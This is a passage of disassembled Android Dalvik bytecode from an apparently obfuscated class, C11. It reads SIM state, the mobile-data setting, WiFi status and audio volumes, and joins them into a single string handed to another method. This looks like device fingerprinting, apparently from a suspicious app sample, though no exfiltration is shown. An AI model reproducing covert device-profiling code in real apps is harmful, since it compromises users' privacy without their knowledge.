    00081d08new-instance v9, Ljava/lang/StringBuilder;
    00081d0cinvoke-direct {v9}, Ljava/lang/StringBuilder;-><init>()V
    00081d12const-string v10, "-1"
    00081d16invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081d1csget-object v10, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00081d20invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081d26invoke-virtual {v9}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    00081d2cmove-result-object v9
    00081d2einvoke-virtual {v8, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081d34invoke-virtual {v7}, Lcmf0/c3b5bm90zq/patch/C11;->getApplicationContext()Landroid/content/Context;
    00081d3amove-result-object v9
    00081d3cconst-string v10, "phone"
    00081d40invoke-virtual {v9, v10}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
    00081d46move-result-object v9
    00081d48check-cast v9, Landroid/telephony/TelephonyManager;
    00081d4cinvoke-virtual {v9}, Landroid/telephony/TelephonyManager;->getSimState()I
    00081d52move-result v9
    00081d54if-ne v9, v3, :cond_220
    00081d58sget v9, Landroid/os/Build$VERSION;->SDK_INT:I
    00081d5cconst/16 v10, 0x11
    00081d60if-lt v9, v10, :cond_1e6
    00081d64invoke-virtual {v7}, Lcmf0/c3b5bm90zq/patch/C11;->getApplicationContext()Landroid/content/Context;
    00081d6amove-result-object v9
    00081d6cinvoke-virtual {v9}, Landroid/content/Context;->getContentResolver()Landroid/content/ContentResolver;
    00081d72move-result-object v9
    00081d74const-string v10, "mobile_data"
    00081d78invoke-static {v9, v10, v6}, Landroid/provider/Settings$Global;->getInt(Landroid/content/ContentResolver;Ljava/lang/String;I)I
    00081d7emove-result v9
    00081d80if-ne v9, v6, :cond_1f7
    00081d84const/4 v5, 0x1
    00081d86goto :goto_1f7
    00081d88invoke-virtual {v7}, Lcmf0/c3b5bm90zq/patch/C11;->getApplicationContext()Landroid/content/Context;
    00081d8emove-result-object v9
    00081d90invoke-virtual {v9}, Landroid/content/Context;->getContentResolver()Landroid/content/ContentResolver;
    00081d96move-result-object v9
    00081d98const-string v10, "mobile_data"
    00081d9cinvoke-static {v9, v10, v6}, Landroid/provider/Settings$Secure;->getInt(Landroid/content/ContentResolver;Ljava/lang/String;I)I
    00081da2move-result v9
    00081da4if-ne v9, v6, :cond_1f7
    00081da8goto :goto_1e4
    00081daaif-ne v5, v6, :cond_210
    00081daenew-instance v9, Ljava/lang/StringBuilder;
    00081db2invoke-direct {v9}, Ljava/lang/StringBuilder;-><init>()V
    00081db8const-string v10, "True"
    00081dbcinvoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081dc2sget-object v10, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00081dc6invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081dccinvoke-virtual {v9}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    00081dd2move-result-object v9
    00081dd4invoke-virtual {v8, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081ddagoto :goto_246
    00081ddcnew-instance v9, Ljava/lang/StringBuilder;
    00081de0invoke-direct {v9}, Ljava/lang/StringBuilder;-><init>()V
    00081de6const-string v10, "False"
    00081deainvoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081df0sget-object v10, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00081df4invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081dfagoto :goto_208
    00081dfcnew-instance v9, Ljava/lang/StringBuilder;
    00081e00invoke-direct {v9}, Ljava/lang/StringBuilder;-><init>()V
    00081e06const-string v10, "-1"
    00081e0ainvoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081e10sget-object v10, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00081e14invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081e1agoto :goto_208
    00081e1cnew-instance v9, Ljava/lang/StringBuilder;
    00081e20invoke-direct {v9}, Ljava/lang/StringBuilder;-><init>()V
    00081e26const-string v10, "-1"
    00081e2ainvoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081e30sget-object v10, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00081e34invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081e3ainvoke-virtual {v9}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    00081e40move-result-object v9
    00081e42invoke-virtual {v8, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081e48invoke-virtual {v7}, Lcmf0/c3b5bm90zq/patch/C11;->getApplicationContext()Landroid/content/Context;
    00081e4emove-result-object v9
    00081e50const-string v10, "wifi"
    00081e54invoke-virtual {v9, v10}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
    00081e5amove-result-object v9
    00081e5ccheck-cast v9, Landroid/net/wifi/WifiManager;
    00081e60invoke-virtual {v9}, Landroid/net/wifi/WifiManager;->isWifiEnabled()Z
    00081e66move-result v10
    00081e68if-eqz v10, :cond_26f
    00081e6cnew-instance v10, Ljava/lang/StringBuilder;
    00081e70invoke-direct {v10}, Ljava/lang/StringBuilder;-><init>()V
    00081e76const-string v1, "True"
    00081e7ainvoke-virtual {v10, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081e80sget-object v1, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00081e84invoke-virtual {v10, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081e8ainvoke-virtual {v10}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    00081e90move-result-object v10
    00081e92invoke-virtual {v8, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081e98goto :goto_27f
    00081e9anew-instance v10, Ljava/lang/StringBuilder;
    00081e9einvoke-direct {v10}, Ljava/lang/StringBuilder;-><init>()V
    00081ea4const-string v1, "False"
    00081ea8invoke-virtual {v10, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081eaesget-object v1, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00081eb2invoke-virtual {v10, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081eb8goto :goto_267
    00081ebainvoke-virtual {v9}, Landroid/net/wifi/WifiManager;->isWifiEnabled()Z
    00081ec0move-result v9
    00081ec2if-nez v9, :cond_29c
    00081ec6new-instance v9, Ljava/lang/StringBuilder;
    00081ecainvoke-direct {v9}, Ljava/lang/StringBuilder;-><init>()V
    00081ed0const-string v10, "True"
    00081ed4invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081edasget-object v10, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00081edeinvoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081ee4invoke-virtual {v9}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    00081eeamove-result-object v9
    00081eecinvoke-virtual {v8, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081ef2goto :goto_2d8
    00081ef4new-instance v9, Ljava/lang/StringBuilder;
    00081ef8invoke-direct {v9}, Ljava/lang/StringBuilder;-><init>()V
    00081efeconst-string v10, "False"
    00081f02invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081f08sget-object v10, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00081f0cinvoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081f12goto :goto_294
    00081f14new-instance v9, Ljava/lang/StringBuilder;
    00081f18invoke-direct {v9}, Ljava/lang/StringBuilder;-><init>()V
    00081f1econst-string v10, "-1"
    00081f22invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081f28sget-object v10, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00081f2cinvoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081f32invoke-virtual {v9}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    00081f38move-result-object v9
    00081f3ainvoke-virtual {v8, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081f40new-instance v9, Ljava/lang/StringBuilder;
    00081f44invoke-direct {v9}, Ljava/lang/StringBuilder;-><init>()V
    00081f4aconst-string v10, "-1"
    00081f4einvoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081f54sget-object v10, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00081f58invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081f5einvoke-virtual {v9}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    00081f64move-result-object v9
    00081f66invoke-virtual {v8, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081f6cinvoke-virtual {v0, v4}, Landroid/media/AudioManager;->getStreamVolume(I)I
    00081f72move-result v9
    00081f74invoke-virtual {v0, v2}, Landroid/media/AudioManager;->getStreamVolume(I)I
    00081f7amove-result v10
    00081f7cinvoke-virtual {v0, v3}, Landroid/media/AudioManager;->getStreamVolume(I)I
    00081f82move-result v1
    00081f84invoke-virtual {v0, v6}, Landroid/media/AudioManager;->getStreamVolume(I)I
    00081f8amove-result v0
    00081f8cnew-instance v2, Ljava/lang/StringBuilder;
    00081f90invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
    00081f96sget-wide v3, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    00081f9aconst-wide/16 v5, 0x31
    00081f9einvoke-static {v3, v4, v5, v6}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    00081fa4move-result-object v3
    00081fa6invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081facsget-object v3, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00081fb0invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081fb6invoke-virtual {v2, v9}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
    00081fbcsget-object v9, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00081fc0invoke-virtual {v2, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081fc6invoke-virtual {v2, v10}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
    00081fccsget-object v9, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00081fd0invoke-virtual {v2, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081fd6invoke-virtual {v2, v1}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
    00081fdcsget-object v9, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00081fe0invoke-virtual {v2, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081fe6invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
    00081fecinvoke-virtual {v8}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    00081ff2move-result-object v8
    00081ff4invoke-virtual {v2, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081ffainvoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    00082000move-result-object v8
    00082002invoke-static {v8}, Lcmf0/c3b5bm90zq/patch/C11;->a(Ljava/lang/String;)V
    00082008return-void
    0008200anop
    0008200c.packed-switch 0x0
    000819ac
    00082024
    00082024 struct try_item
    00082024 start_addr uint32 0x819bc
    00082028 insn_count int 73
    0008202a handler_off uint16 0x8207d
    0008202c
    0008202c struct try_item
    0008202c start_addr uint32 0x81a4e
    00082030 insn_count int 134
    00082032 handler_off uint16 0x82082
    00082034
    00082034 struct try_item
    00082034 start_addr uint32 0x81b5c
    00082038 insn_count int 66
    0008203a handler_off uint16 0x8207d
    0008203c
    0008203c struct try_item
    0008203c start_addr uint32 0x81be0
    00082040 insn_count int 66
    00082042 handler_off uint16 0x82087
    00082044
    00082044 struct try_item
    00082044 start_addr uint32 0x81c66
    00082048 insn_count int 22
    0008204a handler_off uint16 0x8207d
    0008204c
    0008204c struct try_item
    0008204c start_addr uint32 0x81c92
    00082050 insn_count int 58
    00082052 handler_off uint16 0x8208c
    00082054
    00082054 struct try_item
    00082054 start_addr uint32 0x81d08
    00082058 insn_count int 22
    0008205a handler_off uint16 0x8207d
    0008205c
    0008205c struct try_item
    0008205c start_addr uint32 0x81d34
    00082060 insn_count int 115
    00082062 handler_off uint16 0x82091
    00082064
    00082064 struct try_item
    00082064 start_addr uint32 0x81e1c
    00082068 insn_count int 22
    0008206a handler_off uint16 0x8207d
    0008206c
    0008206c struct try_item
    0008206c start_addr uint32 0x81e48
    00082070 insn_count int 101
    00082072 handler_off uint16 0x82096
    00082074
    00082074 struct try_item
    00082074 start_addr uint32 0x81f14
    00082078 insn_count int 122
    0008207a handler_off uint16 0x8207d